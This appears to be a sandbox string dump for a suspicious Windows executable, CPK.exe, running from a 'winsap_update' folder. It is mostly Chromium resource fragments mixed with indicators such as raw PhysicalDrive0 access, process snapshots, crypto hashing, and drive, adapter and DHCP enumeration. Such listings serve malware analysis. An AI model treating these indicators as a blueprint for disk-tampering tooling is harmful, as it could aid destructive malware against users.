?@??|~
Ansi based on Runtime Data (CPK.exe )
?M8?F'???&?:?dj??
Ansi based on Runtime Data (CPK.exe )
?m:d(m))!==c.check){a.msg="incorrect data check",c.mode=lb;break}m=0,n=0}c.mode=jb;case jb:if(c.wrap&&c.flags){for(;32>n;){if(0===i)break a;i--,m+=e[g++]<<n,n+=8}if(m!==(4294967295&c.total)){a.msg="incorrect length check",c.mode=lb;break}m=0,n=0}c.mode=kb;case
Ansi based on Runtime Data (CPK.exe )
?w????G[
Ansi based on Runtime Data (CPK.exe )
\\.\PhysicalDrive0
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
\resources.pak
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
_034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_347586346390487_5690387450986_734865730498576_0938475098678_479843754359867_345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_39487569034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_60987_43508674390857690435760938459
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_63904875690387450986734865730_49857609384750986784798437543_59867345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_69083475863463904875690_38745_09867348657304985760938_47509_8678479843754359867345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_7569034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_8634639_048756903874509867348_6573049_857609384750986784798_4375435_9867345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_saveExpressions();}_contextMenu(event){var contextMenu=new UI.ContextMenu(event);this._populateContextMenu(contextMenu,event);contextMenu.show();}_populateContextMenu(contextMenu,event){var isEditing=false;for(var watchExpression of this._watchExpressions
Ansi based on Runtime Data (CPK.exe )
ackground-image: url(Images/accelerometer-right.png);\n}\n\n.orientation-left::before,\n.orientation-right::before {\n top: -6px;\n transform-origin: center bottom;\n transform: rotateX(26deg);\n background-position: center top;\n}\n\n.orientation-
Ansi based on Runtime Data (CPK.exe )
ad'),restoreAndReload));function restoreAndReload(){Common.settings.clearAll();Components.reload();}}static isSettingVisible(extension){var descriptor=extension.descriptor();if(!('title'in descriptor))return false;if(!('category'in descriptor))return fal
Ansi based on Runtime Data (CPK.exe )
Advapi32.dll
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
age to show when this is hit. */function assertNotReached(opt_message) { assert(false, opt_message || 'Unreachable code hit');}/** * @param {*} value The value to check. * @param {function(new: T, ...)} type A user-defined constructor. * @param {stri
Ansi based on Runtime Data (CPK.exe )
ainer a { color: inherit; text-decoration: underline; } #title-bar { border-bottom: var(--user-manager-separator-line); font-size: 16px; font-weight: 500; padding: 104px 0 16px; } #nameI
Ansi based on Runtime Data (CPK.exe )
Aja-JP
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
alDrive0
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
an class="setting-extra-description" i18n-content="hotwordAlwaysOnAudioHistoryDescription"> </span> </div> </div> </div> </section> <section id="sync-users-section" guest-visibility="hidden"> <h3 i
Ansi based on Runtime Data (CPK.exe )
argetedBuild){return;}var styleRules=styleUtil.rulesForStyle(e);if(!targetedBuild){styleUtil.forEachRule(styleRules,function(rule){styleTransformer.documentRule(rule);if(settings.useNativeCSSProperties&&!buildType){applyShim.transformRule(rule);}});}if(setti
Ansi based on Runtime Data (CPK.exe )
asHandler:function(command){return!!this._handlers[command];},registerHandler:function(command,handler){this._handlers[command]=handler;},unregisterHandler:function(command){delete this._handlers[command];},nextObjectId:function(){return injectedScriptId.toStr
Ansi based on Runtime Data (CPK.exe )
ata.getBoolean("allowDeletingHistory")},numberOfItemsSelected_:function(count){return count>0?loadTimeData.getStringF("itemsSelected",count):""},getHistoryInterval_:function(queryStartTime,queryEndTime){return loadTimeData.getStringF("historyInterval",querySta
Ansi based on Runtime Data (CPK.exe )
ation(cm);}};}function LineView(doc,line,lineN){this.line=line;this.rest=visualLineContinued(line);this.size=this.rest?lineNo(lst(this.rest))-lineN+1:1;this.node=this.text=null;this.hidden=lineIsHidden(doc,line);}function buildViewArray(cm,from,to){var arr
Ansi based on Runtime Data (CPK.exe )
bhn4ZAmp2Acx2JHpBO50tZvMrE2ny1RHKXA277/bRw8eHCNXX237Sd1C4e6cKceMd2sdI3ydJ31SYXsdYDd1djdyfuwqgt3BoPBCSJjNRFZrzccDtes+vWUUvqJwvr+4XC4Jsxcd4+6+6SUGI1GHD16lAcffJD/4e/8HZaPL3nVWXCSPLTpLB1LbqopZGsQT4aliB5pyaTAtwWQQfAhtJCDqaqRlCtBabBhwnKJIiOLTDfQSOQrTn8czsNIHhUL6J0HO
Ansi based on Runtime Data (CPK.exe )
bind(this));}if(this._delegate)this._delegate.onContextMenu(this.id,contextMenu);contextMenu.show();}_startTabDragging(event){if(event.target.classList.contains('tabbed-pane-close-button'))return false;this._dragStartX=event.pageX;this._tabElement.clas
Ansi based on Runtime Data (CPK.exe )
c:\CPK.pdb
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
C:\winsap_update\CPK.exe
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
Ansi based on Runtime Data (CPK.exe )
ce(){return(self.runtime.sharedInstance(Network.NetworkPanel));}_onWindowChanged(event){var startTime=Math.max(this._calculator.minimumBoundary(),event.data.startTime/1000);var endTime=Math.min(this._calculator.maximumBoundary(),event.data.endTime/1000);this
Ansi based on Runtime Data (CPK.exe )
cess. * @param {boolean} accept Whether to accept this invitation. */ processInvitation: function(invitation, accept) { if (!!this.invitationInProgress_) return; this.invitationInProgress_ = invitation; this.cloudPrintIn
Ansi based on Runtime Data (CPK.exe )
cesses.push(process);}return processes;},getAllCounters:function(){var counters=[];counters.push.apply(counters,tr.b.dictionaryValues(this.device.counters));counters.push.apply(counters,tr.b.dictionaryValues(this.kernel.counters));for(var pid in this.processe
Ansi based on Runtime Data (CPK.exe )
chrome.exe
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
client
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CompleteEvent:function(event){if(event.cat!==undefined&&event.cat.indexOf('trace_event_overhead')>-1)return undefined;var thread=this.model_.getOrCreateProcess(event.pid).getOrCreateThread(event.tid);if(event.flow_out){if(event.flow_in)event.flowPhase=STEP;e
Ansi based on Runtime Data (CPK.exe )
container"> <paper-button class="cancel-button" on-tap="cancel_" id="cancel"> $i18n{cancel}</paper-button> <paper-button id="actionButton" class="action-button" on-tap="onActionButtonTap_"> [[actionButtonText_]
Ansi based on Runtime Data (CPK.exe )
Control
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
convertEffectInput=function(c){var f=a.normalizeKeyframes(c),g=d(f),h=e(g);return function(a,c){if(null!=c)h.filter(function(a){return c>=a.applyFrom&&c<a.applyTo}).forEach(function(d){var e=c-d.startOffset,f=d.endOffset-d.startOffset,g=0==f?0:d.easingFunction
Ansi based on Runtime Data (CPK.exe )
CopyFileW
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
CreateToolhelp32Snapshot
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
CryptAcquireContextW
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CryptCreateHash
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CryptDestroyHash
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CryptGetHashParam
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CryptHashData
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
CryptReleaseContext
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
ction modifyNtpDesignForIcons() { NTP_DESIGN.fakeboxWingSize = 132; NTP_DESIGN.mainClass = 'icon-ntp'; NTP_DESIGN.numTitleLines = 2; NTP_DESIGN.showFavicon = false; NTP_DESIGN.thumbnailFallback = null; NTP_DESIGN.tileWidth = 48 + 2 * 18; NTP_DESI
Ansi based on Runtime Data (CPK.exe )
ction(e){var br=this.canvas_.getBoundingClientRect();return[this.pixelRatio_*(e.clientX-this.canvas_.offsetLeft-br.left),this.pixelRatio_*(e.clientY-this.canvas_.offsetTop-br.top)];},onSelectionUpdate_:function(e){var mousePos=this.extractRelativeMousePosition
Ansi based on Runtime Data (CPK.exe )
cts=[];}Region.fromArray=function(array){if(array.length%4!==0)throw new Error('Array must consist be a multiple of 4 in length');var r=new Region();for(var i=0;i<array.length;i+=4){r.rects.push(tr.b.Rect.fromXYWH(array[i],array[i+1],array[i+2],array[i+3]));
Ansi based on Runtime Data (CPK.exe )
d)' * label prefix. * @return {string} The category description. * @protected */ computeCategoryDesc: function(category, setting, showRecommendation) { var categoryEnabled = this.computeIsSettingEnabled(setting); switch (category) {
Ansi based on Runtime Data (CPK.exe )
de=(!skipHidden||this.revealed)?this.children[0]:null;if(node&&(!skipHidden||this.expanded)){if(info)info.depthChange=1;return node;}if(this===stayWithin)return null;node=(!skipHidden||this.revealed)?this.nextSibling:null;if(node)return node;node=this;
Ansi based on Runtime Data (CPK.exe )
DhcpDomain
Unicode based on Runtime Data (CPK.exe )
DhcpNameServer
Unicode based on Runtime Data (CPK.exe )
Dhcpv6Domain
Unicode based on Runtime Data (CPK.exe )
Domain
Unicode based on Runtime Data (CPK.exe )
dow-split-widget.vbox.shadow-split-widget-first-is-sidebar > .shadow-split-widget-sidebar:not(.maximized) {\n border: 0;\n border-bottom: 1px solid rgb(64%, 64%, 64%);\n}\n\n.shadow-split-widget.hbox > .shadow-split-widget-sidebar:not(.maximized) {\n
Ansi based on Runtime Data (CPK.exe )
e = opt_type || 'favicon'; return getImageSet( 'chrome://' + type + '/size/' + size + '@scalefactorx/' + // Note: Literal 'iconurl' must match |kIconURLParameter| in // components/favicon_base/favicon_url_parser.cc. (FAVICO
Ansi based on Runtime Data (CPK.exe )
e(data)); } catch(e) { var container = $('log-container'); container.textContent = 'No log entries'; } }; /** * Requests a log update. */ var requestLog = function() { chrome.send('DeviceLog.getLog'); }; /** * Sets
Ansi based on Runtime Data (CPK.exe )
e. This // skips validation and calls the callback directly. if (callback) callback(response); }); // Also convert complex permissions back to objects for events. The // dispatchToListener call happens after argument vali
Ansi based on Runtime Data (CPK.exe )
e;for(var object of snapshotInstances[0].snapshots)snapshots.push(object.args.processes);}return snapshots;}function getProcessSumsFromSnapshot(snapshot){var processSums=new Map();for(var processData of snapshot){var processName=processData.name;if(!(proces
Ansi based on Runtime Data (CPK.exe )
e;this._callsPendingOpen=[];this._pendingReads=[];Bindings.TempFile.create(dirPath,name).then(this._didCreateTempFile.bind(this),this._failedToCreateTempFile.bind(this));}write(strings,callback){if(this._finishCallback)throw new Error('No writes are allowe
Ansi based on Runtime Data (CPK.exe )
e=isEditingName;if(!isEditingName){this.disableDefaultSuggestionForEmptyInput();if(treeElement&&treeElement.valueElement){var cssValueText=treeElement.valueElement.textContent;if(cssValueText.match(/#[\da-f]{3,6}$/i)){this.setTitle(Common.UIString('Increment/d
Ansi based on Runtime Data (CPK.exe )
eChild('div','content');if(showTimer){var timeLine=this.contentElement.createChild('div','status-dialog-line time');timeLine.createChild('div','label').textContent=Common.UIString('Time');this._time=timeLine.createChild('div','content');}var progressLine=thi
Ansi based on Runtime Data (CPK.exe )
ector === hostScope + ' > *.' + hostScope || parsedSelector.indexOf('html') !== -1;isHost = !isRoot && parsedSelector.indexOf(hostScope) === 0;}if (cssBuild === 'shadow') {isRoot = parsedSelector === ':host > *' || parsedSelector === 'html';isHost = isHos
Ansi based on Runtime Data (CPK.exe )
ed'))){errorCallback('Protocol Error: Optional callback argument for method \''+method+'\' call must be a function but its type is \''+typeof args[0]+'\'.');return null;}if(args.length>1){errorCallback('Protocol Error: Extra '+args.length+' arguments in a ca
Ansi based on Runtime Data (CPK.exe )
eDescriptor(UI.KeyboardShortcut.Keys.Space,UI.KeyboardShortcut.Modifiers.Ctrl)],IncreaseCSSUnitByOne:[UI.KeyboardShortcut.makeDescriptor(UI.KeyboardShortcut.Keys.Up,UI.KeyboardShortcut.Modifiers.Alt)],DecreaseCSSUnitByOne:[UI.KeyboardShortcut.makeDescriptor(UI
Ansi based on Runtime Data (CPK.exe )
eeded.call(this);}_tagNameEditingCommitted(element,newText,oldText,tagName,moveDirection){delete this._editing;var self=this;function cancel(){var closingTagElement=self._distinctClosingTagElement();if(closingTagElement)closingTagElement.textContent='</'+t
Ansi based on Runtime Data (CPK.exe )
elete correctly. See also // deleteItemAtIndex() in password_manager_list.js that uses this. entry[options.passwordManager.ORIGINAL_INDEX_FIELD] = index; return true; } return false; }; en
Ansi based on Runtime Data (CPK.exe )
emInfo) { request.sendReport(useSystemInfo); }; // Observe when the window is closed. appWindow.onClosed.addListener(function() { request.onWindowClosed(); }); });}chrome.runtime.onMessage.addListen
Ansi based on Runtime Data (CPK.exe )
emoveDecoration(this._decoration,lineNumber);this._hasDecoration=false;}uniqueMessagesCount(){return this._messages.length;}addMessage(message){for(var i=0;i<this._messages.length;++i){var rowMessage=this._messages[i];if(rowMessage.message().isEqual(messag
Ansi based on Runtime Data (CPK.exe )
EnableDhcp
Unicode based on Runtime Data (CPK.exe )
eName?opt_baseTypeName:name;this.name=name;this.creationTs=creationTs;this.creationTsWasExplicit=false;this.deletionTs=Number.MAX_VALUE;this.deletionTsWasExplicit=false;this.colorId=0;this.bounds=new tr.b.Range();this.snapshots=[];this.hasImplicitSnapshots=fal
Ansi based on Runtime Data (CPK.exe )
ent = n
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
eNumber-b.lineNumber;}progress.worked(1);var matches=[];var queries=this._searchConfig.queries();if(content!==null){for(var i=0;i<queries.length;++i){var nextMatches=Common.ContentProvider.performSearchInContent(content,queries[i],!this._searchConfig.ignoreC
Ansi based on Runtime Data (CPK.exe )
er')||!event.hasOwnProperty('cpu')||!event.hasOwnProperty('ts')||!event.hasOwnProperty('payload')){return false;}var timestamp=this.importTimestamp(event.ts);var header={guid:event.guid,opcode:event.op,version:event.ver,cpu:event.cpu,timestamp:timestamp,is64:
Ansi based on Runtime Data (CPK.exe )
ER32.DLL
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
ER: case AnchorType.BEFORE: // align top edges if (anchorRect.top + popupRect.height <= availRect.height) { style.top = anchorRect.top + 'px'; // align bottom edges } else if (anchorRect.bottom - popupRect.heigh
Ansi based on Runtime Data (CPK.exe )
erBound',{value:function(object,comparator,left,right){function defaultComparator(a,b){return a<b?-1:(a>b?1:0);}comparator=comparator||defaultComparator;var l=left||0;var r=right!==undefined?right:this.length;while(l<r){var m=(l+r)>>1;if(comparator(object,th
Ansi based on Runtime Data (CPK.exe )
estions(suggestions) { this.dataModel = new ArrayDataModel(suggestions); this.hidden = !this.targetInput_ || suggestions.length == 0; }, /** * Requests new suggestions. Called when new suggestions are needed. * @param {string} qu
Ansi based on Runtime Data (CPK.exe )
etFileMetadata as a table. * @param {Array} list of dictionaries containing 'extensionName', * 'extensionID', 'status'. */FileMetadata.onGetExtensions = function(extensionStatuses) { var select = $('extensions-select'); // Record existing drop dow
Ansi based on Runtime Data (CPK.exe )
eturn this.parseForIn(node,_init);return this.parseFor(node,_init);}var refShorthandDefaultPos={start:0};var init=this.parseExpression(true,refShorthandDefaultPos);if(this.type===_tokentype.types._in||this.options.ecmaVersion>=6&&this.isContextual("of")){thi
Ansi based on Runtime Data (CPK.exe )
Evaluate);return parentElement;},node:function(expression,evaluateOptions){var parentElement=createElement('div');this.evaluate(expression,evaluateOptions,onEvaluate);function onEvaluate(remoteObject){Common.Renderer.renderPromise(remoteObject).then(appendRend
Ansi based on Runtime Data (CPK.exe )
Event(new Event('error'));}}else{list[link.href]=link;optAsync=Boolean(optAsync);if(optAsync){link.setAttribute('async','');}document.head.appendChild(link);}return imprt;},create:function(tag,props){var elt=document.createElement(tag);if(props){for(var n in
Ansi based on Runtime Data (CPK.exe )
Events_: function() { var ccNumber = $('credit-card-number'); $('name-on-card').oninput = ccNumber.oninput = $('expiration-month').onchange = $('expiration-year').onchange = this.inputFieldChanged_.bind(this); }, /*
Ansi based on Runtime Data (CPK.exe )
ew-objec
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
extElement = menu.contextElement; menu.contextElement = null; this.showingEvents_.removeAll(); menu.selectedIndex = -1; this.menu_ = null; // On windows we might hide the menu in a right mouse button up and if // that is th
Ansi based on Runtime Data (CPK.exe )
extTab=string.length;var skipped=nextTab-pos;if(nextTab==string.length||col+skipped>=goal)return pos+Math.min(skipped,goal-col);col+=nextTab-pos;col+=tabSize-(col%tabSize);pos=nextTab+1;if(col>=goal)return pos;}}var spaceStrs=[""];function spaceStr(n){whil
Ansi based on Runtime Data (CPK.exe )
ffset){var newSelection=new tr.model.EventSet();for(var event of selection){if(event instanceof tr.model.FlowEvent){if(offset>0){newSelection.push(event.endSlice);}else if(offset<0){newSelection.push(event.startSlice);}else{}continue;}var track=this.trackFor
Ansi based on Runtime Data (CPK.exe )
fhyqJDxA4YvBgtDWzOYypy1xr922JWEkEElaEEEZkNB7SqmPiet8aYdHTa/mJOjIwhqB0aVip8isz+eRRYAZhfmpOWIyddffx1xcoKZPmFCTVeuXBmzNagTHmIyPh7jjP5rE0outcNjJ4SUqXrni0KpqgcuQQWmMmet8a8d1Hgo1vXzwrmWAN8EQ9tRmJQbHLXGm3ZI7D4BHQWHIKgdCG2W3lHOQZmkt4+20roWnDaoqirjqEBT3LYW/RBaLrXDBsZDv
Ansi based on Runtime Data (CPK.exe )
fill-opacity: 0.2;\n}\n\nsvg.animation-ui g:first-child:hover path.animation-keyframe {\n fill-opacity: 0.4;\n}\n\n.animation-node-selected path.animation-keyframe {\n fill-opacity: 0.4;\n}\n\nline.animation-line {\n stroke-width: 2px;\n stroke-lin
Ansi based on Runtime Data (CPK.exe )
FipsAlgorithmPolicy
Unicode based on Runtime Data (CPK.exe )
fixed; right: 0; bottom: 0; left: 0; }; --layout-fixed-left: { position: fixed; top: 0; bottom: 0; left: 0; }; }</style>/** Polymer.IronFormElementBehavior enables a custom element to be included
Ansi based on Runtime Data (CPK.exe )
for thread data
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
FreeLibrary
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
ftMouseButton(e)) {this.save(e);}},click: function (e) {if (hasLeftMouseButton(e)) {this.forward(e);}},touchstart: function (e) {this.save(e.changedTouches[0], e);},touchend: function (e) {this.forward(e.changedTouches[0], e);},forward: function
Ansi based on Runtime Data (CPK.exe )
G; var autofillSynced = syncAll || $('autofill-checkbox').checked; var result = JSON.stringify({ 'syncAllDataTypes': syncAll, 'bookmarksSynced': syncAll || $('bookmarks-checkbox').checked, 'preferencesSynced': syncAll || $('
Ansi based on Runtime Data (CPK.exe )
g;UI.Widget._originalAppendChild.call(document.body,this.element);this.element.positionAt(0,0);var result=new Size(this.element.offsetWidth,this.element.offsetHeight);this.element.positionAt(undefined,undefined);if(oldParent)UI.Widget._originalInsertBefore.c
Ansi based on Runtime Data (CPK.exe )
ge-item" path="history" on-click="onItemClick_"> $i18n{historyMenuItem} <paper-ripple></paper-ripple> </a> <a href="/syncedTabs" class="page-item" path="syncedTabs" on-click="onItemClick_"> $i18n{openTabsMenuItem} <p
Ansi based on Runtime Data (CPK.exe )
GetAdaptersAddresses
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
GetCommandLineW
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
GetFileSize
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
GetLogicalDriveStringsA
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
GetVolum
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
gle as part of the polymer project is alsosubject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt--> @licenseCopyright (c) 2015 The Polymer Project Authors. All rights reserved.This code may only be used under the BSD sty
Ansi based on Runtime Data (CPK.exe )
Google Hangouts
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
Google Hangouts
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
h > 0" class="hlisting"> <tr><td jsselect="file_extensions"> <span dir="ltr" jscontent="'.' + $this"> </td></tr> </table>
Ansi based on Runtime Data (CPK.exe )
h space for stdio initialization
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm-7 12h-2v-2h2v2zm0-4h-2V6h2v4z"/></g><g id="sync"><path d="M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8zm0 14c-3.31 0-6-2
Ansi based on Runtime Data (CPK.exe )
help subpage-title-extra" is="paper-icon-button-light" on-tap="onHelpTap_"></button> <site-settings-category selected-site="{{selectedSite}}" category="{{ContentSettingsTypes.JAVASCRIPT}}"> </site-s
Ansi based on Runtime Data (CPK.exe )
his.contentURL(),this.contentType(),lazyContent);}return this._originalContentProvider;}setSourceMapURL(sourceMapURL){var completeSourceMapURL=this.sourceURL&&sourceMapURL?Common.ParsedURL.completeURL(this.sourceURL,sourceMapURL):sourceMapURL;this.sourceMa
Ansi based on Runtime Data (CPK.exe )
hromium Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */body { font-size: 80%;}button { display: block; font-size: 110%; font-weight: bold; margin: 10px aut
Ansi based on Runtime Data (CPK.exe )
hwc_AXI_BEATS_WRITE','Write Beats');this.addMMUCounter('mali_hwc_MMU_TABLE_WALK','Page Table Walks');this.addMMUCounter('mali_hwc_MMU_REPLAY_MISS','Cache Miss from Replay Buffer');this.addMMUCounter('mali_hwc_MMU_REPLAY_FULL','Replay Buffer Full');this.addMMUC
Ansi based on Runtime Data (CPK.exe )
iator',title:Common.UIString('Initiator'),visible:true,weight:10,sortingFunction:Network.NetworkDataGridNode.InitiatorComparator},{id:'cookies',title:Common.UIString('Cookies'),align:UI.DataGrid.Align.Right,sortingFunction:Network.NetworkDataGridNode.RequestCo
Ansi based on Runtime Data (CPK.exe )
icalDrive%d
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
iew */function ListView() { View.call(this, createElement("div", ListView.ClassNameListView)); this.element.tabIndex = 0; this.element.setAttribute("role", "grid"); /** * @type {!number} * @private */ this._width = 0;
Ansi based on Runtime Data (CPK.exe )
if sendBeacon is not enabled, we fallback for "a ping". var a = document.createElement('a'); a.href = '#'; a.ping = url; a.click(); }}<!doctype html><html><head> <meta charset="utf-8"> <title>Omnibox Debug Page</title> <link rel="st
Ansi based on Runtime Data (CPK.exe )
Image Path
Unicode based on Runtime Data (CPK.exe )
ine:tokenizer.tokenLineStart(),column:tokenizer.tokenColumnStart(),name:previousIdentifier};addedFunction=true;previousIdentifier=null;}else if(AT.punctuator(token,'.')&&previousToken&&AT.identifier(previousToken)){previousIdentifier+='.';}else if(AT.punctuato
Ansi based on Runtime Data (CPK.exe )
innerHeight >= 0 ? innerHeight : 0) + 'px)'; parameters.distance = Math.abs(innerHeight); break; } if (this.loopCount_ % 2) { var transform = parameters.transformBegin; pa
Ansi based on Runtime Data (CPK.exe )
install.
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
InterlockedDecrement
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
InterlockedExchange
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
InterlockedIncrement
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
ion (host) {this.dataHost = host = host || Polymer.Base._hostStack[Polymer.Base._hostStack.length - 1];if (host && host._clients) {host._clients.push(this);}this._clients = null;this._clientsReadied = false;},_beginHosting: function () {Polymer.Base._
Ansi based on Runtime Data (CPK.exe )
ion.LDPI.STAR.x; if (IS_HIDPI) { moonSourceWidth *= 2; moonSourceHeight *= 2; moonSourceX = this.spritePos.x + (NightMode.phases[this.currentPhase] * 2); starSize *= 2; starSourceX = Runner.spriteDefinition.HDPI.STA
Ansi based on Runtime Data (CPK.exe )
iostream
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
Iphlpapi.dll
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
is._delegate.setWorked(worked,title);}worked(worked){if(this._delegate)this._delegate.worked(worked);}};;Common.ResourceType=class{constructor(name,title,category,isTextType){this._name=name;this._title=title;this._category=category;this._isTextType=isText
Ansi based on Runtime Data (CPK.exe )
is._setSecondaryRatio(secondaryRatio);this._transformProgress(this.$.secondaryProgress,secondaryRatio);this._transformProgress(this.$.primaryProgress,mainRatio);this.secondaryProgress=secondaryProgress;this.setAttribute("aria-valuenow",value);this.setAttribute
Ansi based on Runtime Data (CPK.exe )
is.categories_.concat(split);}},set settings_key(k){this.settings_key_=k;},set settings(s){throw new Error('Dont use this!');},usingPreset_:function(){return this.currentlyChosenPreset_.length>0;},get currentlyChosenPreset(){return this.currentlyChosenPreset_;
Ansi based on Runtime Data (CPK.exe )
ite the port. this.portMap_[tab.id] = port; port.onDisconnect.addListener(function() { this.handleClientDisconnect_(port); }.bind(this)); port.onMessage.addListener(function(msg) { this.handleMessage_(msg, port.sender, p
Ansi based on Runtime Data (CPK.exe )
ition":"!v8only"},{"name":"sources"},{"name":"components_lazy"},{"name":"diff"},{"type":"autostart","name":"bindings"},{"name":"audits","condition":"!v8only"},{"name":"snippets"},{"name":"layers","condition":"!v8only"},{"name":"console"},{"name":"network","con
Ansi based on Runtime Data (CPK.exe )
itle":"Use horizontal panel layout"},{"text":"vertical","value":"right","title":"Use vertical panel layout"},{"text":"auto","value":"auto","title":"Use automatic panel layout"}]},{"category":"Appearance","title-mac":"Enable \u2318 + 1-9 shortcut to switch pane
Ansi based on Runtime Data (CPK.exe )
itle,title);this._filterSelect.createOption(title);}}_updateControls(){this._updateBaseOptions();this._updateFilterOptions();}_onReceiveSnapshot(event){this._updateControls();}_onProfileHeaderRemoved(event){var profile=event.data;if(this._profile===profi
Ansi based on Runtime Data (CPK.exe )
J???-[??H
Ansi based on Runtime Data (CPK.exe )
k=this._callbacks.get(data.callId);this._callbacks.delete(data.callId);callback(data.result);}_postMessage(message){this._worker.postMessage(message);}};Profiler.HeapSnapshotProxyObject=class{constructor(worker,objectId){this._worker=worker;this._objectId=ob
Ansi based on Runtime Data (CPK.exe )
Kernel32.dll
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
kit-transform: translateZ(0);\n padding-left: 2px;\n}\n\n.elements-disclosure ol:focus li.selected {\n color: white;\n}\n\n.elements-disclosure ol:focus li.parent.selected::before {\n background-color: white;\n}\n\n.elements-disclosure ol:focus li.sel
Ansi based on Runtime Data (CPK.exe )
ko-KR
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
lectNextOccurrenceController=new TextEditor.CodeMirrorTextEditor.SelectNextOccurrenceController(this,this._codeMirror);this._codeMirror.on('changes',this._changes.bind(this));this._codeMirror.on('beforeSelectionChange',this._beforeSelectionChange.bind(this));t
Ansi based on Runtime Data (CPK.exe )
lient
